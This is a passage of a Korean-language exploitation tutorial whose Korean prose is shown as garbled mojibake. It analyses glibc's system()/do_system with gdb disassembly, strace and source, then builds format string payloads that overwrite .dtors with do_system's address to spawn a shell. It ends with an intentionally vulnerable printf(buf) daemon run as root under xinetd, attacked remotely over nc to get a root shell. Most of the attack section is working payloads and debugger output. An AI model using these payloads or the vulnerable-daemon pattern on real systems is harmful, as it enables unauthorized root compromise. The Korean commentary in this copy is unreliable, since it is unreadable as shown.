0x0077d3e3 : test %eax,%eax 0x0077d3e5 : js 0x77d61c 0x0077d3eb : xor %ecx,%ecx 0x0077d3ed : cmpl $0x0,0x3b84(%ebx) 0x0077d3f4 : setne %cl 0x0077d3f7 : test %ecx,%ecx 0x0077d3f9 : mov %ecx,0xfffffeb4(%ebp) 0x0077d3ff : jne 0x77d5da 0x0077d405 : lea 0xfff1184c(%ebx),%esi 0x0077d40b : mov %esi,0xfffffed4(%ebp) 0x0077d411 : lea 0xfffffec0(%ebp),%esi 0x0077d417 : mov %esi,0xfffffed8(%ebp) 0x0077d41d : mov $0x100011,%edi 0x0077d422 : xor %ecx,%ecx 0x0077d424 : mov %esi,%edx 0x0077d426 : xchg %ebx,%edi 0x0077d428 : mov $0x78,%eax <========= clone ½Ã½ºÅÛ ÄÝ ³Ñ¹ö 0x0077d42d : call *%gs:0x10 <========== clone ½Ã½ºÅÛ ÄÝ È£Ãâ 0x0077d434 : xchg %edi,%ebx 0x0077d436 : cmp $0xfffff000,%eax 0x0077d43b : mov %eax,%ecx 0x0077d43d : ja 0x77d686 0x0077d443 : mov %ecx,0xfffffec0(%ebp) 0x0077d449 : test %ecx,%ecx 0x0077d44b : mov %ecx,%eax 0x0077d44d : je 0x77d6fe 0x0077d453 : jl 0x77d676 0x0077d459 : lea 0xfffffebc(%ebp),%esi 0x0077d45f : jmp 0x77d473 0x0077d461 : mov 0xffffff20(%ebx),%ecx 0x0077d467 : cmpl $0x4,%gs:(%ecx) 0x0077d46b : jne 0x77d48c 0x0077d46d : mov 0xfffffec0(%ebp),%eax 0x0077d473 : mov %esi,0x4(%esp) 0x0077d477 : xor %edi,%edi 0x0077d479 : mov %edi,0x8(%esp) 0x0077d47d : mov %eax,(%esp) 0x0077d480 : call 0x7d19f0 <==== waitpid È£Ãâ 0x0077d485 : cmp $0xffffffff,%eax 0x0077d488 : mov %eax,%edx 0x0077d48a : je 0x77d461 0x0077d48c : cmp 0xfffffec0(%ebp),%edx 0x0077d492 : mov $0xffffffff,%eax 0x0077d497 : cmove 0xfffffebc(%ebp),%eax 0x0077d49e : mov %eax,0xfffffebc(%ebp) 0x0077d4a4 : mov 0xfffffeb4(%ebp),%edx 0x0077d4aa : test %edx,%edx 0x0077d4ac : jne 0x77d602 0x0077d4b2 : xor %eax,%eax 0x0077d4b4 : mov $0x1,%ecx 0x0077d4b9 : cmpl $0x0,%gs:0xc 0x0077d4c1 : je,pt 0x77d4c5 0x0077d4c4 : lock cmpxchg %ecx,0x16bc(%ebx) 0x0077d4cc : jne 0x77d949 <_L_mutex_lock_171> 0x0077d4d2 : mov 0x16b8(%ebx),%ecx 0x0077d4d8 : dec %ecx 0x0077d4d9 : test %ecx,%ecx 0x0077d4db : mov %ecx,0x16b8(%ebx) 0x0077d4e1 : jne 0x77d521 0x0077d4e3 : movl $0x2,(%esp) 0x0077d4ea : xor %ecx,%ecx 0x0077d4ec : lea 0x158c(%ebx),%eax 0x0077d4f2 : mov %ecx,0x8(%esp) 0x0077d4f6 : xor %edi,%edi 0x0077d4f8 : mov %eax,0x4(%esp) 0x0077d4fc : call 0x770bb0 0x0077d501 : mov %edi,0x8(%esp) 0x0077d505 : lea 0x162c(%ebx),%edx 0x0077d50b : mov %eax,%esi 0x0077d50d : mov %edx,0x4(%esp) 0x0077d511 : movl $0x3,(%esp) 0x0077d518 : call 0x770bb0 0x0077d51d : or %eax,%esi 0x0077d51f : jne 0x77d541 0x0077d521 : xor %edx,%edx 0x0077d523 : mov %edx,0x8(%esp) 0x0077d527 : mov 0xfffffeb0(%ebp),%esi 0x0077d52d : movl $0x2,(%esp) 0x0077d534 : mov %esi,0x4(%esp) 0x0077d538 : call 0x770d30 0x0077d53d : test %eax,%eax 0x0077d53f : je 0x77d54c 0x0077d541 : mov $0xffffffff,%edi 0x0077d546 : mov %edi,0xfffffebc(%ebp) 0x0077d54c : cmpl $0x0,%gs:0xc 0x0077d554 : je,pt 0x77d558 0x0077d557 : lock subl $0x1,0x16bc(%ebx) 0x0077d55f : jne 0x77d959 <_L_mutex_unlock_216> 0x0077d565 : mov 0xfffffebc(%ebp),%eax 0x0077d56b : add $0x154,%esp 0x0077d571 : pop %ebx 0x0077d572 : pop %esi 0x0077d573 : pop %edi 0x0077d574 : pop %ebp 0x0077d575 : ret 0x0077d576 : lea 0x158c(%ebx),%edi 0x0077d57c : mov %edi,0xfffffeac(%ebp) 0x0077d582 : mov %edi,0x8(%esp) 0x0077d586 : lea 0xffffff64(%ebp),%edi 0x0077d58c : mov %edi,0x4(%esp) 0x0077d590 : movl $0x2,(%esp) 0x0077d597 : call 0x770bb0 0x0077d59c : test %eax,%eax 0x0077d59e : js 0x77d69b 0x0077d5a4 : mov %edi,0x4(%esp) 0x0077d5a8 : lea 0x162c(%ebx),%edx 0x0077d5ae : mov %edx,0x8(%esp) 0x0077d5b2 : movl $0x3,(%esp) 0x0077d5b9 : call 0x770bb0 0x0077d5be : test %eax,%eax 0x0077d5c0 : jns 0x77d39e 0x0077d5c6 : decl 0x16b8(%ebx) 0x0077d5cc : mov 0xffffff20(%ebx),%eax 0x0077d5d2 : mov %gs:(%eax),%esi 0x0077d5d5 : jmp 0x77d6d4 0x0077d5da : lea 0xfffffec0(%ebp),%esi 0x0077d5e0 : lea 0xfff1184c(%ebx),%edx 0x0077d5e6 : mov %esi,0x8(%esp) 0x0077d5ea : lea 0xfffffed4(%ebp),%edi 0x0077d5f0 : mov %edx,0x4(%esp) 0x0077d5f4 : mov %edi,(%esp) 0x0077d5f7 : call *0x3b84(%ebx) 0x0077d5fd : jmp 0x77d41d 0x0077d602 : xor %edi,%edi 0x0077d604 : lea 0xfffffed4(%ebp),%esi 0x0077d60a : mov %edi,0x4(%esp) 0x0077d60e : mov %esi,(%esp) 0x0077d611 : call *0x3b88(%ebx) 0x0077d617 : jmp 0x77d4b2 0x0077d61c : mov %edi,%eax 0x0077d61e : mov $0x1,%ecx 0x0077d623 : cmpl $0x0,%gs:0xc 0x0077d62b : je,pt 0x77d62f 0x0077d62e : lock cmpxchg %ecx,0x16bc(%ebx) 0x0077d636 : jne 0x77d969 <_L_mutex_lock_290> 0x0077d63c : mov 0x16b8(%ebx),%esi 0x0077d642 : dec %esi 0x0077d643 : test %esi,%esi 0x0077d645 : mov %esi,0x16b8(%ebx) 0x0077d64b : je 0x77d6a3 0x0077d64d : cmpl $0x0,%gs:0xc 0x0077d655 : je,pt 0x77d659 0x0077d658 : lock subl $0x1,0x16bc(%ebx) 0x0077d660 : jne 0x77d979 <_L_mutex_unlock_303> 0x0077d666 : add $0x154,%esp 0x0077d66c : mov $0xffffffff,%eax 0x0077d671 : pop %ebx 0x0077d672 : pop %esi 0x0077d673 : pop %edi 0x0077d674 : pop %ebp 0x0077d675 : ret 0x0077d676 : mov $0xffffffff,%esi 0x0077d67b : mov %esi,0xfffffebc(%ebp) 0x0077d681 : jmp 0x77d4a4 0x0077d686 : mov 0xffffff20(%ebx),%eax 0x0077d68c : neg %ecx 0x0077d68e : mov %ecx,%gs:(%eax) 0x0077d691 : mov $0xffffffff,%ecx 0x0077d696 : jmp 0x77d443 0x0077d69b : decl 0x16b8(%ebx) 0x0077d6a1 : jmp 0x77d64d 0x0077d6a3 : mov 0xffffff20(%ebx),%ecx 0x0077d6a9 : xor %eax,%eax 0x0077d6ab : lea 0x162c(%ebx),%edx 0x0077d6b1 : lea 0x158c(%ebx),%edi 0x0077d6b7 : mov %gs:(%ecx),%esi 0x0077d6ba : mov %eax,0x8(%esp) 0x0077d6be : mov %edx,0x4(%esp) 0x0077d6c2 : movl $0x3,(%esp) 0x0077d6c9 : call 0x770bb0 0x0077d6ce : mov %edi,0xfffffeac(%ebp) 0x0077d6d4 : xor %eax,%eax 0x0077d6d6 : mov %eax,0x8(%esp) 0x0077d6da : mov 0xfffffeac(%ebp),%edx 0x0077d6e0 : movl $0x2,(%esp) 0x0077d6e7 : mov %edx,0x4(%esp) 0x0077d6eb : call 0x770bb0 0x0077d6f0 : mov 0xffffff20(%ebx),%edi 0x0077d6f6 : mov %esi,%gs:(%edi) 0x0077d6f9 : jmp 0x77d64d 0x0077d6fe : mov 0xfffffeb8(%ebp),%ecx <==== ¸í·É Äڵ带 %ecx ·¹Áö½ºÅÍ¿¡ ³ÖÀ½. 0x0077d704 : lea 0xffff4614(%ebx),%edx 0x0077d70a : xor %edi,%edi 0x0077d70c : mov %edx,0xfffffec4(%ebp) ; "sh -c ¸í·É" ±¸¼º ºÎºÐ 0x0077d712 : lea 0xffff460c(%ebx),%eax 0x0077d718 : xor %esi,%esi 0x0077d71a : mov %edi,0xfffffed0(%ebp) 0x0077d720 : lea 0x158c(%ebx),%edx 0x0077d726 : xor %edi,%edi 0x0077d728 : mov %ecx,0xfffffecc(%ebp) ; ¼¼¹øÂ°·Î µé¾î°¡´Â ¸í·É ÀÎÀÚ ºÎºÐ 0x0077d72e : mov %eax,0xfffffec8(%ebp) 0x0077d734 : mov %edx,0x4(%esp) 0x0077d738 : mov %esi,0x8(%esp) 0x0077d73c : movl $0x2,(%esp) 0x0077d743 : call 0x770bb0 0x0077d748 : movl $0x3,(%esp) 0x0077d74f : lea 0x162c(%ebx),%ecx 0x0077d755 : xor %eax,%eax 0x0077d757 : mov %ecx,0x4(%esp) 0x0077d75b : mov %eax,0x8(%esp) 0x0077d75f : call 0x770bb0 0x0077d764 : mov %edi,0x8(%esp) 0x0077d768 : mov 0xfffffeb0(%ebp),%esi 0x0077d76e : movl $0x2,(%esp) 0x0077d775 : mov %esi,0x4(%esp) 0x0077d779 : lea 0xfffffec4(%ebp),%esi 0x0077d77f : call 0x770d30 0x0077d784 : mov 0xfffffec4(%ebx),%ecx 0x0077d78a : xor %edx,%edx 0x0077d78c : xor %eax,%eax 0x0077d78e : mov %edx,0x16bc(%ebx) 0x0077d794 : lea 0xffff460f(%ebx),%edx 0x0077d79a : mov (%ecx),%edi 0x0077d79c : mov %eax,0x16b8(%ebx) 0x0077d7a2 : mov %esi,0x4(%esp) 0x0077d7a6 : mov %edi,0x8(%esp) 0x0077d7aa : mov %edx,(%esp) 0x0077d7ad : call 0x7d2490 <==== execve ÇÔ¼ö È£Ãâ. 0x0077d7b2 : movl $0x7f,(%esp) 0x0077d7b9 : call 0x7d2474 <_exit> 0x0077d7be : mov %esi,%esi End of assembler dump. (gdb) -- ½ÇÇà ÇÁ·Î¼¼½º Á¶»ç °á°ú: -- # strace ./system execve("./system", ["./system"], [/* 22 vars */]) = 0 uname({sys="Linux", node="localhost", ...}) = 0 brk(0) = 0x9e7f000 access("/etc/ld.so.preload", R_OK) = -1 ENOENT (No such file or directory) open("/etc/ld.so.cache", O_RDONLY) = 3 fstat64(3, {st_mode=S_IFREG|0644, st_size=41901, ...}) = 0 old_mmap(NULL, 41901, PROT_READ, MAP_PRIVATE, 3, 0) = 0xf6ff5000 close(3) = 0 open("/lib/tls/libc.so.6", O_RDONLY) = 3 read(3, "\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0 \337u\000"..., 512) = 512 fstat64(3, {st_mode=S_IFREG|0755, st_size=1512400, ...}) = 0 old_mmap(0x749000, 1207532, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0x749000 old_mmap(0x86a000, 16384, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x120000) = 0x86a000 old_mmap(0x86e000, 7404, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x86e000 close(3) = 0 old_mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xf6ff4000 mprotect(0x86a000, 8192, PROT_READ) = 0 mprotect(0x745000, 4096, PROT_READ) = 0 set_thread_area({entry_number:-1 -> 6, base_addr:0xf6ff48e0, limit:1048575, seg_32bit:1, contents:0, read_exec_only:0, limit_in_pages:1, seg_not_present:0, useable:1}) = 0 munmap(0xf6ff5000, 41901) = 0 rt_sigaction(SIGINT, {SIG_IGN}, {SIG_DFL}, 8) = 0 rt_sigaction(SIGQUIT, {SIG_IGN}, {SIG_DFL}, 8) = 0 rt_sigprocmask(SIG_BLOCK, [CHLD], [], 8) = 0 clone(child_stack=0, flags=CLONE_PARENT_SETTID|SIGCHLD, parent_tidptr=0xfeefde18) = 15014 <==== clone È£Ãâ waitpid(15014, PID TTY TIME CMD <=== waitpid È£Ãâ 13283 pts/2 00:00:00 bash 15012 pts/2 00:00:00 strace 15013 pts/2 00:00:00 system 15014 pts/2 00:00:00 ps [{WIFEXITED(s) && WEXITSTATUS(s) == 0}], 0) = 15014 rt_sigaction(SIGINT, {SIG_DFL}, NULL, 8) = 0 rt_sigaction(SIGQUIT, {SIG_DFL}, NULL, 8) = 0 rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0 --- SIGCHLD (Child exited) @ 0 (0) --- exit_group(0) = ? -- fork¿¡¼­ clone ½Ã½ºÅÛ ÄÝ È£Ãâ·Î º¯°æµÈ °ÍÀ» º¼ ¼ö ÀÖ´Ù. ¾î·µç, system ÇÔ¼ö¿¡¼­ »õ·Ó°Ô »ý±ä do_systemÀ» È£ÃâÇϸç, %eax ·¹Áö½ºÅÍ¿¡ ¸í·É Äڵ带 ÀÎÀÚ·Î ³Ö¾î ½ÇÇàÇÑ´Ù´Â »ç½ÇÀ» ¾Ë ¼ö ÀÖ¾ú´Ù. -- [³ªÁß¿¡ Ãß°¡: ÀÌ¿¡ ¸¸Á·ÇÏÁö ¾Ê°í glibc ¼Ò½º Äڵ带 ã¾Æ µ¡ºÙÀδÙ.] -- system ÇÔ¼ö °ü·Ã ¼Ò½º Äڵ带 ºÐ¼®Çϱâ À§ÇØ glibc-2.3.3À» ´Ù¿î·Îµå ¹Þ¾Ò´Ù. ./sysdeps/posix/system.c ¼Ò½º Äڵ带 ºÐ¼®ÇÏ¸é µð¹ö±ë µÇ¾ú´ø ³»¿ëÀ» È®½ÅÇÒ ¼ö ÀÖ°Ô µÈ´Ù. ¸ÕÀú system ÇÔ¼ö¸¸ ´ÜÆíÀûÀ¸·Î Àß¶óº¸¸é ºÐ¼®Çغ¸¸é ´ÙÀ½°ú °°´Ù. -- int __libc_system (const char *line) <--- ¿ì¼± __libc_system ÇÔ¼ö(system) ÀÌ´Ù. { if (line == NULL) // ¸í·É¾î ÀÎÀÚ °ªÀÌ NULLÀÎÁö È®ÀÎÇÏ´Â ºÎºÐ /* Check that we have a command processor available. It might not be available after a chroot(), for example. */ return do_system ("exit 0") == 0; // NULLÀ» °æ¿ì do_system ¸í·ÉÀ» ¼öÇàÇÏ¿© Á¾·á if (SINGLE_THREAD_P) return do_system (line); // do_system ÇÔ¼ö¸¦ È£Ãâ int oldtype = LIBC_CANCEL_ASYNC (); int result = do_system (line); // do_system ÇÔ¼ö¸¦ È£Ãâ LIBC_CANCEL_RESET (oldtype); return result; } weak_alias (__libc_system, system) -- ±×·³, À̹ø¿£ do_system ÇÔ¼ö ºÐ¼®ÀÌ´Ù. Áß¿äÇÑ ºÎºÐ¸¸ ºÐ¼®Çغ¸°Ú´Ù. -- ... ¼±Çà 󸮱⠺κР... #ifndef HAVE_GNU_LD #define __environ environ #endif #define SHELL_PATH "/bin/sh" /* Path of the shell. */ #define SHELL_NAME "sh" /* Name to give it. */ ... /* Execute LINE as a shell command, returning its status. */ static int do_system (const char *line) <--- do_system ÇÔ¼ö ½ÃÀÛÀÌ´Ù. { int status, save; pid_t pid; struct sigaction sa; #ifndef _LIBC_REENTRANT struct sigaction intr, quit; #endif sigset_t omask; ... Àâ´ÙÇÑ ½Ã±×³Î ¼³Á¤ ºÎºÐ ... // ÀÌ ºÎºÐºÎÅÍ fork¸¦ ÅëÇØ ÇÁ·Î¼¼½º°¡ ½ÃÀ۵ȴÙ. #ifdef FORK pid = FORK (); #else pid = __fork (); #endif if (pid == (pid_t) 0) // fork·Î ÀÎÇØ ÀÚ½ÄÀ¸·Î ½ÇÇàµÇ´Â child process { /* Child side. */ const char *new_argv[4]; <--- ÀÌ ºÎºÐºÎÅÍ Àß »ìÆìº¸ÀÚ. new_argv[0] = SHELL_NAME; <- SHELL_NAMEÀÎ "sh"°¡ µé¾î°¬À½ new_argv[1] = "-c"; <- "-c"°¡ ´ÙÀ½ ÀÎÀÚ·Î µé¾î°¨. new_argv[2] = line; <- ¿ì¸®ÀÇ ¸í·ÉÀÌ ¼¼¹øÂ° ÀÎÀÚ·Î µé¾î°¨. new_argv[3] = NULL; <- ±× ´ÙÀ½ °ªÀº NULL /* Restore the signals. */ ... // execve¸¦ ¼öÇàÇÑ´Ù. execve("/bin/sh", "sh -c ¸í·É", ȯ°æº¯¼ö); /* Exec the shell. */ (void) __execve (SHELL_PATH, (char *const *) new_argv, __environ); _exit (127); } ... ±× ÈÄ, ÇÁ·Î¼¼½º¸¦ waitÇÏ´Â ºÎºÐÀÌ´Ù. ... #ifdef NO_WAITPID // NO_WAITPIDÀÇ °æ¿ì, wait¸¦ È£ÃâÇÏ¿© ó¸®Çϰí, // ¾Æ´Ò °æ¿ì, waitpid·Î È£ÃâÇÑ´Ù. pid_t child; do { child = __wait (&status); <-- wait() È£Ãâ if (child <= -1 && errno != EINTR) { status = -1; break; } /* Note that pid cannot be <= -1 and therefore the loop continues when __wait returned with EINTR. */ } while (child != pid); #else /* Note the system() is a cancellation point. But since we call waitpid() which itself is a cancellation point we do not have to do anything here. */ if (TEMP_FAILURE_RETRY (__waitpid (pid, &status, 0)) != pid) <--- waitpid() È£Ãâ status = -1; #endif ... -- * ¿ø°Ý Æ÷¸Ë ½ºÆ®¸µ °ø°ÝÀ» ÅëÇØ ½© ½ÇÇàÇϱ⠾ò¾îÁø ³»¿ëÀ» Åä´ë·Î exploitÀÌ ¾î¶»°Ô ÀÌ·ç¾îÁö´ÂÁö ºÐ¼®Çغ¸°Ú´Ù. ¸ÕÀú ¿ø°Ý format string exploit ½Ã, RTL °ø°ÝÀ» ½ÃµµÇϱâ À§ÇØ ·¹Áö½ºÅÍ °ªÀ» Á¶»çÇØº¸ÀÚ. ù ¹øÂ°·Î __DTOR_END__¸¦ do_system ÇÔ¼ö ÁÖ¼Ò·Î µ¤¾î¾º¿ï °ÍÀÌ´Ù. ±×·³, ÀÌ ÇÔ¼ö´Â __do_global_dtors_aux ÇÔ¼ö ³»¿¡¼­ È£ÃâµÇ´Âµ¥ ÀÌ ¶§ %eax ·¹Áö½ºÅÍÀÇ À§Ä¡°¡ °áÁ¤µÈ´Ù. ´ÙÀ½Àº __do_global_dtors_aux ÇÔ¼öÀÌ´Ù. -- (gdb) disass __do_global_dtors_aux Dump of assembler code for function __do_global_dtors_aux: 0x08048360 <__do_global_dtors_aux+0>: push %ebp 0x08048361 <__do_global_dtors_aux+1>: mov %esp,%ebp 0x08048363 <__do_global_dtors_aux+3>: sub $0x8,%esp 0x08048366 <__do_global_dtors_aux+6>: cmpb $0x0,0x80495bc 0x0804836d <__do_global_dtors_aux+13>: je 0x804837b <__do_global_dtors_aux+27> 0x0804836f <__do_global_dtors_aux+15>: jmp 0x804838d <__do_global_dtors_aux+45> 0x08048371 <__do_global_dtors_aux+17>: add $0x4,%eax <======== ¨ê $eax°¡ __DTOR_END__+4·Î º¯°æ. 0x08048374 <__do_global_dtors_aux+20>: mov %eax,0x80495b8 0x08048379 <__do_global_dtors_aux+25>: call *%edx <============ ¨ë __DTOR_END__ È£Ãâ. 0x0804837b <__do_global_dtors_aux+27>: mov 0x80495b8,%eax <=== ¨ç $eax ·¹Áö½ºÅͰ¡ __DTOR_END__·Î º¯°æ. 0x08048380 <__do_global_dtors_aux+32>: mov (%eax),%edx <====== ¨è $edx ·¹Áö½ºÅͰ¡ __DTOR_END__ÀÇ °ªÀ» °¡Áü. 0x08048382 <__do_global_dtors_aux+34>: test %edx,%edx <======== ¨é nullÀÌ ¾Æ´Ò °æ¿ì À§·Î °¡¼­ ¼öÇà. 0x08048384 <__do_global_dtors_aux+36>: jne 0x8048371 <__do_global_dtors_aux+17> 0x08048386 <__do_global_dtors_aux+38>: movb $0x1,0x80495bc 0x0804838d <__do_global_dtors_aux+45>: leave 0x0804838e <__do_global_dtors_aux+46>: ret 0x0804838f <__do_global_dtors_aux+47>: nop End of assembler dump. (gdb) -- Àß »ìÆìº¸¸é, %eax ·¹Áö½ºÅÍ´Â __DTOR_END__ + 4 À§Ä¡°¡ µÇ´Â °ÍÀ» ¾Ë ¼ö ÀÖ´Ù. ¸¸ÀÏ .dtors°¡ do_system ÇÔ¼ö ÁÖ¼Ò·Î overwrite µÈ´Ù¸é, do_system ÇÔ¼öÀÇ ÀÎÀÚ·Î µé¾î°¡´Â %eax ·¹Áö½ºÅÍ´Â ¹Ù·Î ´ÙÀ½ 4byte À§Ä¡°¡ µÈ´Ù. ÀÌ·¸°Ô do_system ÇÔ¼ö·Î µ¤¾î¾º¿ì´Â ¶Ç ´Ù¸¥ ÀÌÀ¯ Áß Çϳª´Â ¨ç{%ebp + 8 À§Ä¡ÀÇ °ªÀ» %eax ·¹Áö½ºÅÍ¿¡ ³Ö´Â system ÇÔ¼ö ³»ºÎ ¼öÇà °úÁ¤À» ¹«½ÃÇϱâ À§Çؼ­ÀÌ´Ù.} ½ÇÁ¦·Î .dtors¸¦ do_system ÇÔ¼ö·Î overwrite ÈÄ, %eax ·¹Áö½ºÅÍÀÇ À§Ä¡¸¦ »ìÆìº¸¾Ò´Ù. [Âü°í] ¨ç À§ÀÇ system ÇÔ¼ö ³»ºÎ °úÁ¤ ºÐ¼® ³»¿ëÀ» ÂüÁ¶Ç϶ó. -- [root@localhost bug]# objdump -h printf | grep dtors 16 .dtors 00000008 080494e0 080494e0 000004e0 2**2 [root@localhost bug]# .dtors end: 0x080494e4 -- ÀÚ, ±×·³ do_system ÇÔ¼öÀÇ À§Ä¡¸¦ ¾ò¾îº¸°Ú´Ù. -- (gdb) x/x do_system 0x77d320 : 0x0001ba55 (gdb) do_system: 0x0077d320 -- Á¶»çµÈ ³»¿ëÀ» Åä´ë·Î exploitÀ» ÀÛ¼ºÇÏ¸é ´ÙÀ½°ú °°´Ù. -- exploit structure: "\xe4\x94\x04\x08\xe6\x94\x04\x08%54040x%8\$n%11607x%9\$n" [.dtors address][format string exploit (do_system address)] -- .dtors¿¡ do_systemÀ» µ¤¾î¾º¿î °ø°Ý °á°ú´Â ´ÙÀ½°ú °°´Ù. -- (gdb) br do_system Breakpoint 2 at 0x77d320 (gdb) r `printf "\xe4\x94\x04\x08\xe6\x94\x04\x08"`%54040x%8\$n%11607x%9\$n ... Breakpoint 1, 0x0077d320 in do_system () from /lib/tls/libc.so.6 (gdb) x/x 0x080494e4 0x80494e4 <__DTOR_END__>: 0x0077d320 <===== do_system ÁÖ¼Ò°¡ Á¦´ë·Î overwrite µÇ¾ú´Ù. (gdb) i r eax 0x80494e8 134517992 <====== %eax ·¹Áö½ºÅÍÀÇ À§Ä¡. ecx 0x86d378 8835960 edx 0x77d320 7852832 ebx 0x80495b8 134518200 esp 0xfeed97fc 0xfeed97fc ebp 0xfeed9808 0xfeed9808 esi 0xffffffff -1 edi 0x80494d8 134517976 eip 0x77d320 0x77d320 eflags 0x206 518 cs 0x73 115 ss 0x7b 123 ds 0x7b 123 es 0x7b 123 fs 0x0 0 gs 0x33 51 (gdb) x/x $eax 0x80494e8 <__JCR_LIST__>: 0x00000001 (gdb) -- ¿ª½Ã, %eax ·¹Áö½ºÅÍÀÇ À§Ä¡¸¦ »ìÆìº¸´Ï __DTOR_END__ + 4byteÀÇ À§Ä¡¿¡ Á¸ÀçÇÏ´Â °ÍÀ» ¾Ë ¼ö ÀÖ´Ù. ¸Å¿ì ¿îÀÌ ÁÁ°Ôµµ format string ±â¹ýÀ» ÅëÇØ overwrite°¡ °¡´ÉÇÑ .dtors ºÎ±Ù¿¡ À§Ä¡ÇØ ÀÖ´Â °ÍÀÌ´Ù. ¸¸¾à %eax ·¹Áö½ºÅÍÀÇ °ª¿¡ "sh" ¹®ÀÚ¿­À» µ¤¾î¾º¿ì¸é ¾î¶² ÀÏÀÌ ¹ú¾îÁú±î? À§ÀÇ ºÐ¼®µÈ ³»¿ëÀÌ »ç½ÇÀ̶ó¸é, »õ·Î¿î ÇÁ·Î¼¼½ºÀÇ ½©ÀÌ ½ÇÇàµÇ¾î¾ß ÇÑ´Ù. ÀÚ, ±×·³ ½ÃµµÇغ¸°Ú´Ù. -- (gdb) r `printf "\xe4\x94\x04\x08\xe6\x94\x04\x08\\xe8\x94\x04\x08\xea\x94\x04\x08"` %54032x%8\$n%11607x%9\$n%26620x%10\$n%38797x%11\$n ... Breakpoint 1, 0x0077d320 in do_system () from /lib/tls/libc.so.6 (gdb) i r eax 0x80494e8 134517992 ecx 0x86d378 8835960 edx 0x77d320 7852832 ebx 0x80495b8 134518200 esp 0xfef58c0c 0xfef58c0c ebp 0xfef58c18 0xfef58c18 esi 0xffffffff -1 edi 0x80494d8 134517976 eip 0x77d320 0x77d320 eflags 0x206 518 cs 0x73 115 ss 0x7b 123 ds 0x7b 123 es 0x7b 123 fs 0x0 0 gs 0x33 51 (gdb) x/x $eax 0x80494e8 <__JCR_LIST__>: 0x00006873 (gdb) x/s $eax 0x80494e8 <__JCR_LIST__>: "sh" <====== ±Â?! %eax ·¹Áö½ºÅÍ¿¡ ÀÓÀÇ·Î "sh" ¸í·ÉÀ» µ¤¾î¾º¿ü´Ù. (gdb) c Continuing. Detaching after fork from child process 15060. <======= ÀÚ½ÄÀ¸·Î ÇÁ·Î¼¼½º°¡ »ý¼ºµÈ ÈÄ, sh-3.00# ps <======= ¹«»çÈ÷ ½© ½ÇÇà! PID TTY TIME CMD 13283 pts/2 00:00:00 bash 15033 pts/2 00:00:01 gdb 15058 pts/2 00:00:00 printf 15060 pts/2 00:00:00 sh 15061 pts/2 00:00:00 ps sh-3.00# exit exit Program received signal SIGSEGV, Segmentation fault. 0x00000000 in ?? () (gdb) -- ÈǸ¢ÇÏ´Ù. ¸Å¿ì °£ÆíÇÏ°Ô shellÀ» ½ÇÇàÇÒ ¼ö ÀÖ¾ú´Ù. ´ÙÀ½Àº ½ÇÁ¦ remote ȯ°æ¿¡¼­ shellÀ» ½ÇÇàÇÏ´Â ¸ð½ÀÀÌ´Ù. -- /tmp/daemon.c -- int main() { char buf[256]; scanf("%s",buf); printf(buf); } -- /etc/xinetd.d/test -- service test { flags = REUSE socket_type = stream wait = no user = root server = /tmp/daemon disable = no } -- [root@localhost tmp]# killall -HUP xinetd [root@localhost tmp]# netstat -an | grep 8282 tcp 0 0 0.0.0.0:8282 0.0.0.0:* LISTEN [root@localhost tmp]# [root@localhost tmp]# (printf "\xdc\x94\x04\x08\xde\x94\x04\x08\xe0\x94\x04\x08\xe2\x94\x04\x08" ;echo %54032x%8\$n%11607x%9\$n%26620x%10\$n%38797x%11\$n;cat) |nc localhost 8282 ... ... id uid=0(root) gid=0(root) pwd / uname -a Linux localhost 2.6.9-1.667 #1 Tue Nov 2 14:41:25 EST 2004 i686 i686 i386 GNU/Linux cat /etc/redhat-release Fedora Core release 3 (Heidelberg) -- ÀÌ¿Í °°ÀÌ, do_system ÇÔ¼ö¸¦ ÀÌ¿ëÇÑ format stirng °ø°ÝÀº shellcode¸¦ µ¤¾î¾º¿ì´Â format string °ø°Ý°ú´Â ¹Ý´ë·Î ÀûÀº ¾çÀÇ ¸Þ¸ð¸®¸¸À¸·Îµµ °ø°ÝÀÌ °¡´ÉÇÏ´Ù´Â ÀåÁ¡ÀÌ ÀÖ´Ù. * °á ·Ð Áö±Ý±îÁö remote °ø°Ý °üÁ¡¿¡¼­ systemÀÇ °¢ address °ªÀ» ¾Ë°í ÀÖ´Ù´Â °¡Á¤ÇÏ¿¡ °ø°ÝÀ» ½ÃµµÇغôÙ. ÀÌ ÁÖ¼ÒµéÀ» ¾Ë¾Æ³»´Â ¹æ¹ýÀº brute-force ¶Ç´Â, format string exploit ÅëÇÑ Á¤º¸ ¾ò±â µîµî... ´Ù¾çÇÑ ¹æ¹ýÀÌ Á¸ÀçÇÑ´Ù. ±×µ¿¾È ¿ì¸®´Â local exploit ½Ã, system library ÇÔ¼ö¸¦ ³Ê¹« ¿Ü¸éÇÏÁö ¾Ê¾Ò´Â°¡?! system ÇÔ¼ö!! ±×°¡ ÀÖ¾î ¾ÆÁ÷ ÀÌ ¼¼»óÀº ¾Æ¸§´Ù¿î °Í °°´Ù. -_- ±×·³, À̸¸ ±ÛÀ» ¸¶Ä¡µµ·Ï ÇϰڴÙ. :-) (format string code¸¦ ÀÌÁß-»ïÁßÀ¸·Î µ¤¾î¾º¿ì´Â ÀÛ¾÷Àº ¿¹Àü¿¡ ÀÛ¼ºµÈ `Double format string Project' ¹®¼­¸¦ ÂüÁ¶Çϸé ÁÁÀ» °ÍÀÌ´Ù.)